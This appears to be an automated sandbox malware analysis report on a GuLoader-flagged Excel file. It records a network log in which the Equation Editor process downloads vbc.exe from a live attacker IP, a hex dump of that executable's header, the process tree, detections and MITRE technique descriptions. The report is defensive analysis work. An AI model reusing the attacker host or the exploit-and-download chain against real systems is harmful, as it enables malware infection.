SSDEEP:	12288:qZLku7r1BAIE1ZoW3Y86UpOSHnSN3YfPwllSoaDuze:qFTrTVE1ZaMQSSWHwMDX
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 15, 2021 11:06:58.303368092 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.414326906 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.414500952 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.415296078 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.527717113 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.527765036 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.527795076 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.527822018 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.527827978 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.527884960 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.527894020 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.527899981 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.639437914 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.639503956 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.639558077 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.639612913 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.639638901 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.639668941 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.639679909 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.639683962 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.639719963 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.639729977 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.639784098 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.639786959 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.639862061 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.639868021 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.639909983 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.751514912 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.751585960 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.751637936 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.751701117 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.751755953 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.751758099 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.751780033 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.751806974 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.751808882 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.751848936 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.751859903 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.751893997 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.751910925 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.751948118 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.751961946 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.752000093 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.752012968 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.752074003 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.752083063 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.752116919 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.752137899 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.752180099 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.752190113 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.752227068 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.752237082 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.752274036 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.752285957 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.752324104 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.752332926 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.752370119 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.754930973 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.863239050 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.863287926 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.863311052 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.863333941 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.863356113 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.863379002 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.863401890 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.863421917 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.863425016 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.863445997 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.863446951 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.863451004 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.863464117 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.863468885 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.863487005 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.863502026 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.863915920 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.863938093 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.863957882 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.863976955 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.863977909 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.863996029 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.864001989 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.864012003 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.864025116 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.864036083 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.864044905 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.864053965 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.864065886 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.864069939 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.864085913 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.864099979 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.864105940 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.864115000 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.864126921 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.864140034 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.864145994 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.864159107 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.864168882 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.864176035 CEST	49165	80	192.168.2.22	23.95.85.181
Sep 15, 2021 11:06:58.864192009 CEST	80	49165	23.95.85.181	192.168.2.22
Sep 15, 2021 11:06:58.864204884 CEST	49165	80	192.168.2.22	23.95.85.181

HTTP Request Dependency Graph

23.95.85.181

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	23.95.85.181	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2021 11:06:58.415296078 CEST	0	OUT	GET /0789/vbc.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 23.95.85.181 Connection: Keep-Alive
Sep 15, 2021 11:06:58.527717113 CEST	1	IN	HTTP/1.1 200 OK Date: Wed, 15 Sep 2021 09:06:58 GMT Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23 Last-Modified: Wed, 15 Sep 2021 06:03:24 GMT ETag: "1e000-5cc0274c3638e" Accept-Ranges: bytes Content-Length: 122880 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b 23 c4 db cf 42 aa 88 cf 42 aa 88 cf 42 aa 88 4c 5e a4 88 ce 42 aa 88 80 60 a3 88 cd 42 aa 88 f9 64 a7 88 ce 42 aa 88 52 69 63 68 cf 42 aa 88 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 90 8b b7 4b 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 a0 01 00 00 40 00 00 00 00 00 00 ac 17 00 00 00 10 00 00 00 b0 01 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 01 00 00 10 00 00 60 75 02 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 a2 01 00 28 00 00 00 00 d0 01 00 f6 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 02 00 00 20 00 00 00 00 10 00 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 97 01 00 00 10 00 00 00 a0 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 9c 11 00 00 00 b0 01 00 00 10 00 00 00 b0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f6 16 00 00 00 d0 01 00 00 20 00 00 00 c0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 c3 1f b0 49 10 00 00 00 00 00 00 00 00 00 00 00 4d 53 56 42 56 4d 36 30 2e 44 4c 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$#BBBL^B`BdBRichBPELK@@`u$(( L.text` `.data@.rsrc @@IMSVBVM60.DLL

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2132 Parent PID: 596

General

Start time:	11:06:26
Start date:	15/09/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f3b0000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: EQNEDT32.EXE PID: 1868 Parent PID: 596

General

Start time:	11:06:49
Start date:	15/09/2021
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: vbc.exe PID: 2228 Parent PID: 1868

General

Start time:	11:06:51
Start date:	15/09/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\vbc.exe'
Imagebase:	0x400000
File size:	122880 bytes
MD5 hash:	451E4CD68C69C2C8B8FC93AD02E8754A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000006.00000002.643654485.00000000003D0000.00000040.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 36%, Virustotal, Browse Detection: 21%, ReversingLabs
Reputation:	low

Analysis Process: vbc.exe PID: 1184 Parent PID: 2228

General

Start time:	11:08:09
Start date:	15/09/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\vbc.exe'
Imagebase:	0x400000
File size:	122880 bytes
MD5 hash:	451E4CD68C69C2C8B8FC93AD02E8754A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000009.00000002.695092285.00000000001B0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Disassembly

Code Analysis

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Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report #U0110#U1eb6T MUA H#U00c0NG VNU_014092021.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: GuLoader

Yara Overview

Memory Dumps

Sigma Overview

Exploits:

System Summary:

Jbx Signature Overview

AV Detection:

Exploits:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 2132 Parent PID: 596

General

Analysis Process: EQNEDT32.EXE PID: 1868 Parent PID: 596

General

Analysis Process: vbc.exe PID: 2228 Parent PID: 1868

General